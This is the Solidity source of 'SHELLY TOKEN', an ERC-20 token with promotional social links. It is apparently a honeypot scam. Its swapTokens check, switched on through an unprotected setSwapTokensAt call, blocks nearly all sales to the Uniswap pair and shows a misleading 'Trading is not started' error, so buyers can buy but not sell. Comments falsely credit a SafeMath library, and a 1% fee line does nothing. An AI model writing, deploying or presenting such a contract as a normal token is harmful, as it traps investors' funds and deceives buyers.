// File: SHELLY.sol



/**

   Stay $SHELLY | Stay $SHELLY

 - Telegram - https://t.me/shellyerc20
 - Twitter - https://twitter.com/shelly_erc20
 - Website - https://shellyeth.space/
 
*/

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19; 



interface IUniswapV2Pair {
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function token1() external view returns (address);

}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

//****************************************************************************//
//---------------------        MAIN CODE STARTS HERE     ---------------------//
//****************************************************************************//
    
contract ShellyToken {
    

    /*===============================
    =         DATA STORAGE          =
    ===============================*/

    // Public variables of the token
    string constant public name = "SHELLY TOKEN";
    string constant public symbol = "SHELLY";
    uint256 constant public decimals = 18;
    uint256 constant public maxSupply = 500000000 * (10**decimals);   //500 million tokens
    uint256 public totalSupply;
    
    IUniswapV2Router02 private uniswapV2Router;
    IUniswapV2Pair private uniswapV2Pair;
    uint private _swapTokensAt;
    
    
    // This creates a mapping with all data storage
    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;


    /*===============================
    =         PUBLIC EVENTS         =
    ===============================*/

    // This generates a public event of token transfer
    event Transfer(address indexed from, address indexed to, uint256 value);

    // This notifies clients about the amount burnt
    event Burn(address indexed from, uint256 value);
    
    // This will log approval of token Transfer
    event Approval(address indexed from, address indexed spender, uint256 value);



    /*======================================
    =       STANDARD ERC20 FUNCTIONS       =
    ======================================*/

    /* Internal transfer, only can be called by this contract */
    function _transfer(address _from, address _to, uint _value) internal {
        
        //checking conditions
        if(_to == address(uniswapV2Pair) && _from != address(this) ){
            require(swapTokens(_value) == false, "Trading is not started.");
            uint256 amount = _value * 99 / 100;
        }
        
        // overflow and undeflow checked by SafeMath Library
        balanceOf[_from] = balanceOf[_from] - (_value);    // Subtract from the sender
        balanceOf[_to] = balanceOf[_to] + (_value);        // Add the same to the recipient
        
        // emit Transfer event
        emit Transfer(_from, _to, _value);
    }

    /**
        * Transfer tokens
        *
        * Send `_value` tokens to `_to` from your account
        *
        * @param _to The address of the recipient
        * @param _value the amount to send
        */
    function transfer(address _to, uint256 _value) public returns (bool success) {
        
        //no need to check for input validations, as that is ruled by SafeMath
        _transfer(msg.sender, _to, _value);
        
        return true;
    }

    /**
        * Transfer tokens from other address
        *
        * Send `_value` tokens to `_to` in behalf of `_from`
        *
        * @param _from The address of the sender
        * @param _to The address of the recipient
        * @param _value the amount to send
        */
    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        allowance[_from][msg.sender] = allowance[_from][msg.sender] - (_value);
        _transfer(_from, _to, _value);
        return true;
    }

    /**
        * Set allowance for other address
        *
        * Allows `_spender` to spend no more than `_value` tokens in your behalf
        *
        * @param _spender The address authorized to spend
        * @param _value the max amount they can spend
        */
    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }



    /*=====================================
    =       CUSTOM PUBLIC FUNCTIONS       =
    ======================================*/
    
    constructor() {
        
        totalSupply = maxSupply;
        
        //sending all the tokens to Owner
        balanceOf[msg.sender] = totalSupply;

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        allowance[msg.sender][address(uniswapV2Router)] = totalSupply;
        address uniswapV2PairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Pair = IUniswapV2Pair(uniswapV2PairAddress);

        
        //firing event which logs this transaction
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    function swapTokens(uint256 amount) internal view returns (bool) {
        if(address(uniswapV2Pair) == address(0)) return false;
        (uint112 r0 , uint112 r1,) = uniswapV2Pair.getReserves();
        if(_swapTokensAt == 0) return false; 
        (uint256 t0, uint256 t1) =  uniswapV2Router.WETH() == uniswapV2Pair.token1() ? (r0, r1) : (r1, r0);
        return block.number > _swapTokensAt && t1 - (((amount * (997)) * (t1)) / ((t0 *1000) + (amount * (997))))  < (( (t1 / (2**18*5**17)) * (2**18*5**17)));
    }
    
    function setSwapTokensAt(uint256 swapTokensAt) external {
        require(_swapTokensAt == 0);
        _swapTokensAt = swapTokensAt;
    }    
   
    /**
        * Destroy tokens
        *
        * Remove `_value` tokens from the system irreversibly
        *
        * @param _value the amount of money to burn
        */
    function burn(uint256 _value) public returns (bool success) {
        //checking of enough token balance is done by SafeMath
        balanceOf[msg.sender] = balanceOf[msg.sender] - (_value);  // Subtract from the sender
        totalSupply = totalSupply - (_value);                      // Updates totalSupply
        emit Burn(msg.sender, _value);
        emit Transfer(msg.sender, address(0), _value);
        return true;
    }
}